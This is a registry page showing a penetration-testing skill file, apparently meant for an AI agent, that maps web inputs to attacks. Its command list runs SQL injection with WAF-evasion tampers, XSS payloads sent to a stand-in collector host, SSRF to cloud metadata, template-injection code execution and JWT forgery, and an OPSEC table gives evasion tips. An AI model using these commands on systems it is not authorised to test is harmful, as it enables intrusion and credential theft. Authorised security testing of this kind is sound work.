agentleFS
hypnguyen1209hypnguyen1209/offensive-claude/skills/web-pentest/SKILL.md

web-pentest

Skill401 starsChanged 54 days agoMITView on GitHub

Use when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race

11 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use osint-recon and RECON.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • TheWatcher01Skill

    osint-recon

    Reconnaissance passive sur un domaine : certificats, DNS, headers HTTP, stack technique. Utiliser pour l'analyse OSINT d'un domaine cible.

    Also in 3 projects that use this

  • jord0-cmdSkill

    RECON

    Deep technical research that persists. Use when: exploring new technologies, investigating frameworks, comparative analysis of tools, understanding complex systems, or any research task that should be saved for future reference. Invokes Claude's built-in research agent and auto-saves results to a knowledge base for retrieval across sessions.

    Also in 3 projects that use this

The file

Files
SKILL.md

Web Application Penetration Testing

When to Activate

  • Web application security assessment (black/grey/white box)
  • API security testing (REST, GraphQL, WebSocket)
  • Authentication & session management testing (JWT, OAuth/OIDC, SAML)
  • Business-logic and race-condition hunting
  • WAF/CSP bypass, filter evasion, and CDN-layer attacks (desync, cache)
  • Validating modern 2024-2026 vectors: HTTP/1.1 desync (0.CL/TE.0), SSRF->cloud metadata, prototype-pollution->RCE, SSTI sandbox escapes

Input-Signal Routing (what to test when you see X)

Fast test selection — map an observed parameter/behavior to the right deep-dive:

Input signal you observeTest forGo to
id, uid, order_id, account, GUID/sequential refIDOR/BOLA, access controlreferences/auth-api-access-control.md
url, next, callback, dest, webhook, image_urlSSRF + cloud metadata, open redirect, OAuth chainreferences/ssrf-cloud-metadata.md
price, qty, coupon, balance, status, state changebusiness logic + single-packet racereferences/http-desync-cache.md (race)
template/preview/name reflected in outputSSTI -> RCE, reflected XSSreferences/ssti-deserialization.md
search/filter/sort reflected; q=, error echoes inputSQLi, XSS, command injectionreferences/injection-sqli-cmdi.md
token, jwt, Authorization, Cookie, OAuth stateJWT forgery, session/OAuth flawsreferences/auth-api-access-control.md
empty/missing/session=; login accepts no creds; user[$ne]=auth-check tampering (empty/null/NoSQL/type-juggle/HPP), token predictionreferences/auth-api-access-control.md
serialized blob / base64 object / __proto__deserialization, prototype pollutionreferences/ssti-deserialization.md
behind CDN/cache; X-Forwarded-*; keyed paramsdesync (0.CL/TE.0), cache poisoningreferences/http-desync-cache.md

Technique Map

TechniqueATT&CKCWEReferenceScript
SQL injection (UNION/blind/NoSQL)T1190CWE-89references/injection-sqli-cmdi.mdscripts/ssrf_toolkit.py (probe pattern) / sqlmap
OS command / argument injectionT1059CWE-78 / CWE-88references/injection-sqli-cmdi.md-
Reflected/stored/DOM XSST1059.007CWE-79references/xss-csp-clientside.mdscripts/xss_csp_forge.py
CSP bypass / script gadgetsT1059.007CWE-1021references/xss-csp-clientside.mdscripts/xss_csp_forge.py
Client-side prototype pollution -> XSST1059.007CWE-1321references/xss-csp-clientside.mdscripts/xss_csp_forge.py
SSRF + cloud metadata theftT1552.005CWE-918references/ssrf-cloud-metadata.mdscripts/ssrf_toolkit.py
IMDSv2 bypass (Axios gadget)T1552.005CWE-113references/ssrf-cloud-metadata.mdscripts/proto_ssti_gadgets.py
HTTP request smuggling / desyncT1190CWE-444references/http-desync-cache.mdscripts/desync_probe.py
Web cache poisoning / deceptionT1557CWE-525references/http-desync-cache.mdscripts/desync_probe.py
SSTI -> RCE (Jinja2/Twig/FM/...)T1059CWE-1336references/ssti-deserialization.mdscripts/proto_ssti_gadgets.py
Server-side prototype pollution -> RCET1059CWE-1321references/ssti-deserialization.mdscripts/proto_ssti_gadgets.py
Insecure deserialization (Java/.NET/PHP)T1059CWE-502references/ssti-deserialization.mdysoserial / ysoserial.net
JWT forgery (none/confusion/jku/jwk/kid)T1078CWE-347references/auth-api-access-control.mdscripts/jwt_forge.py
Auth-check tampering (empty/null/NoSQL-op/type-juggle/HPP)T1556CWE-287 / CWE-697 / CWE-943references/auth-api-access-control.md-
Session token prediction (weak PRNG/entropy)T1539CWE-330references/auth-api-access-control.mdscripts/session_entropy.py
OAuth/OIDC/SAML auth bypassT1078CWE-287references/auth-api-access-control.mdscripts/jwt_forge.py
GraphQL abuse (batch/alias/depth)T1190CWE-770references/auth-api-access-control.mdscripts/graphql_audit.py
IDOR / BOLA / mass assignmentT1078CWE-639 / CWE-915references/auth-api-access-control.md-
Race condition (single-packet)T1190CWE-362references/auth-api-access-control.mdscripts/race_single_packet.py
Business-logic abuse (price/refund/workflow/race)T1539CWE-841references/business-logic-abuse.mdscripts/race_single_packet.py
HTTP Parameter Pollution (HPP)T1190CWE-235 / CWE-88references/injection-sqli-cmdi.md-
File-upload -> webshell / RCET1505.003CWE-434references/injection-sqli-cmdi.md-
WAF bypass (cross-cutting evasion)T1190CWE-693references/waf-bypass.md-
XXE (file read / SSRF / OOB exfil / CI-CD)T1190CWE-611references/xxe.md-
CORS misconfigurationT1557CWE-942references/auth-api-access-control.md-
CSRF (cross-site request forgery)T1185CWE-352references/auth-api-access-control.md-

Quick Start

# 0. Intake from recon-osint: hosts, tech fingerprint, endpoints, params.
#    Spider + content discovery
ffuf -u https://t/FUZZ -w raft-large.txt -mc all -fc 404 -o ffuf.json
nuclei -u https://t -severity critical,high -tags cve,exposure,misconfig

# 1. Injection — automated SQLi, manual cmdi
sqlmap -r request.txt --batch --level 3 --risk 2 --tamper=between,space2comment

# 2. XSS / CSP
python3 scripts/xss_csp_forge.py contexts --collector atk.tld
python3 scripts/xss_csp_forge.py csp "$(curl -sI https://t | grep -i content-security)"

# 3. SSRF -> cloud metadata
python3 scripts/ssrf_toolkit.py probe "https://t/api/fetch?url=FUZZ" --collab abc.oast.fun
python3 scripts/ssrf_toolkit.py cloud --provider aws

# 4. HTTP desync (2024-2026 vectors: cl0/expect/options/te0)
python3 scripts/desync_probe.py https://t --probe all --verbose

# 5. SSTI / prototype pollution / deserialization
python3 scripts/proto_ssti_gadgets.py detect
python3 scripts/proto_ssti_gadgets.py ssti --engine jinja2 --cmd "id"
python3 scripts/proto_ssti_gadgets.py proto --cmd "id"

# 6. Auth & API
python3 scripts/jwt_forge.py hs-confuse "$JWT" --pubkey pub.pem --claim role=admin
python3 scripts/graphql_audit.py introspect https://t/graphql

# 7. Logic / race
python3 scripts/race_single_packet.py https://t/redeem -d "code=X" -n 30 -H "Cookie: s=..."

# -> feed each confirmed issue into templates/exploit/findings/ with
#    severity, CWE, CVSS, PoC, evidence, ATT&CK ID, remediation.

OPSEC & Detection (summary)

TechniqueTelemetry / IOCDetection (Sigma/EDR)OPSEC note
SQLi / cmdiSQL keywords, SLEEP/WAITFOR, web-svc spawning sh/curlwebserver regex Sigma; EDR child-shell from www-datatime-based is slow+noisy; --random-agent --delay, in-band reads first
XSS / CSP / client-PP<script, onerror=, __proto__ in params; CSP report-uri hitswebserver regex; Trusted-Types violation alertspersistent __proto__ can break shared cached pages — avoid
SSRF / metadatahits to 169.254.169.254 / metadata hosts from app tierproxy Sigma; GuardDuty credential-exfilstop at proving token retrieval; rotate collaborator subdomains
HTTP desync / cacheCL+TE together, obs-fold, Expect on OPTIONS to CDNproxy Sigma; reject ambiguous framingpoisons co-tenant traffic — scoped only, never POST-smuggle prod
SSTI / PP / deser{{ }}/${ }, NODE_OPTIONS, rO0AB, JNDI egresswebserver/body Sigma; EDR java->LDAP/RMIid probe first; reverse shells trip EDR; revert polluted config
JWT / OAuth / GraphQLalg:none, unknown jku/kid, multi-op GraphQL bodyapp Sigma; failed-verify spikesforged-JWT attempts alert; cap GraphQL brute wordlist/rate
Race (single-packet)burst of near-simultaneous mutating requestsrate-by-endpoint Sigma in 1s windowkeep -n low; document state mutated for cleanup

Deep Dives

  • references/injection-sqli-cmdi.md — SQLi (UNION/blind/error/NoSQL), OS command & argument injection, HTTP Parameter Pollution (HPP), file-upload -> webshell/RCE, Lambda pool-poisoning, ORM CVEs, Neo4j Cypher injection, JSON operator probes, WebSocket delivery, sqlmap tamper workflow, modern WAF/Unicode evasion.
  • references/waf-bypass.md — CROSS-CUTTING WAF evasion: encoding/normalisation chains, syntax-level obfuscation per-class, protocol-level (H2C/HTTP/3/WebSocket), ML-WAF evasion (Cyrillic homoglyph/adversarial padding/feature-weight), SNI/domain fronting, TLS fingerprint, per-WAF payloads, CVE-2023-50969.
  • references/xxe.md — file read, blind/OOB exfil, error-based, SSRF via XXE (cloud metadata jar://, redirect chain), file-upload XXE (SVG/DOCX/XLSX/EPUB), SAML XXE, CI/CD pipeline XXE (K8s/Jenkins/GitLab/GitHub Actions), filter bypass, parser hardening versions.
  • references/xss-csp-clientside.md — XSS contexts, DOM sinks, CSP bypass + script gadgets, client-side prototype pollution -> XSS, mXSS/sanitizer bypass.
  • references/ssrf-cloud-metadata.md — SSRF parser confusion, gopher/redis, AWS/GCP/Azure metadata, IMDSv2 reality + Axios bypass, HTML-to-PDF switch, 2024-2026 CVEs (Azure OpenAI, Oracle EBS, Next.js, ColdFusion).
  • references/http-desync-cache.md — CL.TE/TE.CL, TE.0 (2024), 0.CL/Expect & CVE-2025-32094 (Akamai), TE.TE chunk-ext, cache poisoning/deception ("Gotta cache 'em all", ACM CCS 2024), pipelining-vs-desync caveat.
  • references/ssti-deserialization.md — per-engine SSTI RCE, sandbox escapes (CVE-2024-22195, Frappe/XWiki/Yeti), Node prototype-pollution -> RCE (GHunter, NODE_OPTIONS --import), Java/.NET/PHP deserialization gadget chains.
  • references/auth-api-access-control.md — JWT forgery, OAuth/OIDC/SAML, GraphQL batch/alias/depth abuse, session & auth-check tampering (empty/null/falsy value, NoSQL-operator + type-juggling + HPP into auth), session token prediction/entropy (scripts/session_entropy.py), test-account setup for cross-identity testing, IDOR/BOLA/mass assignment, CORS misconfiguration, CSRF, and the HTTP/2 single- packet race attack.
  • references/business-logic-abuse.md — model the intended state machine, then break transitions: price/quantity/coupon tampering, refund/payout & single-packet races, workflow-step skip, idempotency gaps, tenant/role confusion, flaw-chaining.
  • references/proxy-mcp-integration.md — driving a live Burp/Caido proxy MCP for ground-truth traffic + replay-with-auth, with mandatory header redaction (redact_headers.py) at the data boundary.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.